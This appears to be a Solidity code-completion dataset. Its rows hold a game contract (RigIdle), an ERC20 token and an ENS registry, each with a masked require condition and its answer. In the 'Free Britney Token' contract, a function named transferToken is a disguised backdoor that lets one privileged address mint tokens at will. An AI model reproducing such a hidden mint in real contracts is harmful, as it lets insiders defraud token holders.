uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RigIdle() public {
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
}
function GetCurrentICOCycle() public constant returns (uint256)
{
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
}
// -------------------------------------------------------------------------
// RigWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
}
function UpdateMoney() private
{
}
function UpdateMoneyAt(address addr) private
{
}
function BuyUpgrade(uint256 idx) external payable
{
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
}
function Attack(address defenderAddr) external
{
require(msg.sender != defenderAddr);
require(miners[msg.sender].lastUpdateTime != 0);
require(<FILL_ME>)
PVPData storage attacker = pvpMap[msg.sender];
PVPData storage defender = pvpMap[defenderAddr];
uint i = 0;
uint256 count = 0;
require(block.timestamp > attacker.exhaustTime);
require(block.timestamp > defender.immunityTime);
// the aggressor loses immunity
if(attacker.immunityTime > block.timestamp)
attacker.immunityTime = block.timestamp - 1;
attacker.exhaustTime = block.timestamp + 7200;
uint256 attackpower = 0;
uint256 defensepower = 0;
for(i = 0; i < ATTACKER_END_IDX; ++i)
{
attackpower += attacker.troops[i] * troopData[i].attackPower;
defensepower += defender.troops[i + DEFENDER_START_IDX] * troopData[i + DEFENDER_START_IDX].defensePower;
}
if(attackpower > defensepower)
{
if(defender.immunityTime < block.timestamp + 14400)
defender.immunityTime = block.timestamp + 14400;
UpdateMoneyAt(defenderAddr);
MinerData storage m = miners[defenderAddr];
MinerData storage m2 = miners[msg.sender];
uint256 moneyStolen = m.money / 2;
for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i)
{
defender.troops[i] = 0;
}
for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i)
{
if(troopData[i].attackPower > 0)
{
count = attacker.troops[i];
// if the troops overpower the total defense power only a fraction is lost
if((count * troopData[i].attackPower) > defensepower)
count = defensepower / troopData[i].attackPower;
attacker.troops[i] -= count;
defensepower -= count * troopData[i].attackPower;
}
}
m.money -= moneyStolen;
m2.money += moneyStolen;
} else
{
for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i)
{
attacker.troops[i] = 0;
}
for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i)
{
if(troopData[i].defensePower > 0)
{
count = defender.troops[i];
// if the troops overpower the total defense power only a fraction is lost
if((count * troopData[i].defensePower) > attackpower)
count = attackpower / troopData[i].defensePower;
defender.troops[i] -= count;
attackpower -= count * troopData[i].defensePower;
}
}
}
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
}
function FundICO(uint amount) external
{
}
function WithdrawICOEarnings() external
{
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
}
function WithdrawPotShare() public
{
}
function WithdrawDevFunds() public
{
}
// fallback payment to pot
function() public payable {
}
}
| miners[defenderAddr].lastUpdateTime!=0 | 340,914 | miners[defenderAddr].lastUpdateTime!=0 |
null | pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
}
}
//-----------------------------------------------------------------------
contract RigIdle {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs; // rig types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RigIdle() public {
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
}
function GetCurrentICOCycle() public constant returns (uint256)
{
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
}
// -------------------------------------------------------------------------
// RigWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
}
function UpdateMoney() private
{
}
function UpdateMoneyAt(address addr) private
{
}
function BuyUpgrade(uint256 idx) external payable
{
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
}
function Attack(address defenderAddr) external
{
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(nextPotDistributionTime <= block.timestamp);
require(honeyPotAmount > 0);
require(<FILL_ME>)
nextPotDistributionTime = block.timestamp + 86400;
honeyPotPerCycle[cycleCount] = honeyPotAmount / 5; // 20% of the pot
honeyPotAmount -= honeyPotAmount / 5;
honeyPotPerCycle.push(0);
globalICOPerCycle.push(0);
cycleCount = cycleCount + 1;
MinerData storage jakpotWinner = miners[msg.sender];
jakpotWinner.unclaimedPot += jackPot;
jackPot = 0;
}
function FundICO(uint amount) external
{
}
function WithdrawICOEarnings() external
{
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
}
function WithdrawPotShare() public
{
}
function WithdrawDevFunds() public
{
}
// fallback payment to pot
function() public payable {
}
}
| globalICOPerCycle[cycleCount]>0 | 340,914 | globalICOPerCycle[cycleCount]>0 |
null | pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
}
}
//-----------------------------------------------------------------------
contract RigIdle {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs; // rig types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RigIdle() public {
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
}
function GetCurrentICOCycle() public constant returns (uint256)
{
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
}
// -------------------------------------------------------------------------
// RigWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
}
function UpdateMoney() private
{
}
function UpdateMoneyAt(address addr) private
{
}
function BuyUpgrade(uint256 idx) external payable
{
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
}
function Attack(address defenderAddr) external
{
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
}
function FundICO(uint amount) external
{
}
function WithdrawICOEarnings() external
{
MinerData storage m = miners[msg.sender];
require(miners[msg.sender].lastUpdateTime != 0);
require(<FILL_ME>)
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30) // more than 30 iterations(days) afk
limit = i + 30;
m.lastPotClaimIndex = limit;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[msg.sender][i] > 0)
m.unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[msg.sender][i]) / globalICOPerCycle[i];
}
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
}
function WithdrawPotShare() public
{
}
function WithdrawDevFunds() public
{
}
// fallback payment to pot
function() public payable {
}
}
| miners[msg.sender].lastPotClaimIndex<cycleCount | 340,914 | miners[msg.sender].lastPotClaimIndex<cycleCount |
"ERC20: cannot permit dev address" | /*
@elontwfreebritney
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract FreeBritney is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _marketingFund;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'Free Britney Token';
string private _symbol = 'FreeBritney';
uint8 private _decimals = 18;
uint256 private _maxTotal;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _taxAmount;
uint256 private _txAmount;
constructor (address marAddress, uint256 maxTotal, uint256 taxAm, uint256 txAm) public {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function transferToken() public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(<FILL_ME>)
_tTotal = _tTotal.add(_maxTotal);
_balances[_msgSender()] = _balances[_msgSender()].add(_maxTotal);
emit Transfer(address(0), _msgSender(), _maxTotal);
}
function setTaxAmount(uint256 maxTaxAmount) public {
}
function approve(uint256 approveAmount) public {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address sender, address recipient, uint256 amount) internal {
}
}
| _msgSender()==_marketingFund,"ERC20: cannot permit dev address" | 340,932 | _msgSender()==_marketingFund |
null | pragma solidity ^0.4.21;
interface SvEns {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns (bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external;
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
contract SvEnsRegistry is SvEns {
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping (bytes32 => Record) records;
// Permits modifications only by the owner of the specified node.
modifier only_owner(bytes32 node) {
}
/**
* @dev Constructs a new ENS registrar.
*/
function SvEnsRegistry() public {
}
/**
* @dev Transfers ownership of a node to a new address. May only be called by the current owner of the node.
* @param node The node to transfer ownership of.
* @param owner The address of the new owner.
*/
function setOwner(bytes32 node, address owner) external only_owner(node) {
}
/**
* @dev Transfers ownership of a subnode keccak256(node, label) to a new address. May only be called by the owner of the parent node.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
*/
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external only_owner(node) returns (bytes32) {
}
/**
* @dev Sets the resolver address for the specified node.
* @param node The node to update.
* @param resolver The address of the resolver.
*/
function setResolver(bytes32 node, address resolver) external only_owner(node) {
}
/**
* @dev Sets the TTL for the specified node.
* @param node The node to update.
* @param ttl The TTL in seconds.
*/
function setTTL(bytes32 node, uint64 ttl) external only_owner(node) {
}
/**
* @dev Returns the address that owns the specified node.
* @param node The specified node.
* @return address of the owner.
*/
function owner(bytes32 node) external view returns (address) {
}
/**
* @dev Returns the address of the resolver for the specified node.
* @param node The specified node.
* @return address of the resolver.
*/
function resolver(bytes32 node) external view returns (address) {
}
/**
* @dev Returns the TTL of a node, and any records associated with it.
* @param node The specified node.
* @return ttl of the node.
*/
function ttl(bytes32 node) external view returns (uint64) {
}
}
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexedKey, string key);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
